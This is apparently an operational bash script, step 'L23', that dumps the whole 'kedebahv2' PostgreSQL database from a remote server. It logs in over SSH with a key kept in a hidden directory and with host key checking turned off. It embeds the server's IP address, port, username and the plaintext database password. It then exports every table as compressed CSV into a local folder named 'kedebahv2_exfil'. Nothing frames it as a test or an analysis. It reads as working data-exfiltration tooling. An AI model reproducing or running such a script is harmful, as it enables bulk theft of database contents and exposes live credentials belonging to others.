#!/bin/bash
# L23: Dump kedebahv2 — fixed quoting
set -u
OUTDIR=/tmp/kedebahv2_exfil
mkdir -p "$OUTDIR"

echo "=== L23: KEDEBAHV2 HOST B ==="

B_KEY="/home/pontian/.tmp_k/ek"
B_HOST="138.201.221.144"
B_PORT="2304"
B_USER="npontucontrl"

# Get table list using EOF
echo "[*] Getting table list..."
ssh -i "$B_KEY" -p "$B_PORT" -o BatchMode=yes -o ConnectTimeout=10 -o StrictHostKeyChecking=no "$B_USER@$B_HOST" << 'EOF' > /tmp/kedebahv2_tables.txt 2>/dev/null
PGPASSWORD=N3wkedba# psql -h 127.0.0.1 -p 5432 -U kedebah -d kedebahv2 -t -A -c "SELECT tablename FROM pg_tables WHERE schemaname='public'"
EOF

echo "Tables: $(wc -l < /tmp/kedebahv2_tables.txt)"
head -10 /tmp/kedebahv2_tables.txt

# Dump each table
while IFS= read -r table; do
  [ -z "$table" ] && continue
  echo "[*] Dumping $table..."
  ssh -i "$B_KEY" -p "$B_PORT" -o BatchMode=yes -o ConnectTimeout=10 -o StrictHostKeyChecking=no "$B_USER@$B_HOST" << EOF 2>/dev/null | gzip > "$OUTDIR/${table}.csv.gz"
PGPASSWORD=N3wkedba# psql -h 127.0.0.1 -p 5432 -U kedebah -d kedebahv2 -c "COPY $table TO STDOUT WITH CSV HEADER"
EOF
  
  size=$(stat -c%s "$OUTDIR/${table}.csv.gz" 2>/dev/null || echo 0)
  echo "  $((size / 1024)) KB"
done < /tmp/kedebahv2_tables.txt

echo ""
echo "=== DONE ==="
echo "Total size: $(du -sh $OUTDIR | cut -f1)"
echo "Files: $(ls -1 $OUTDIR | wc -l)"
